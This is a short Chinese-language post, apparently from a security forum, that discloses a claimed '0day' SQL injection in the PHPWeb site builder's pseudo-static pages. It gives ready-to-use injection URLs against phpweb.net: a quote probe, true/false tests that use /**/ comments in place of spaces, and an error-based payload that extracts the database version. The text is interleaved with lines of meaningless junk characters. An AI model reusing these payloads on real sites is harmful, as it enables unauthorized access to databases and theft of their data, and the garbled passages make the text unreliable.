phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
% ?5 s1 _& D7 f6 O/ J
" W7 `- h& S9 F6 j5 ]主站：http://phpweb.net/
加’检测：

! q: G: h# r& q* P' X/ ~' bhttp://www.phpweb.net/down/html/?772′.html
5 r3 W* s8 P6 o9 j
1 f+ [/ H% M2 ]  ]出错
存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

! {0 a4 N% y6 G: o7 |! O( }?
1
  r9 `  [) p) F! y6 f0 S; _" Khttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
' M# O& e+ U9 T" Q: M' e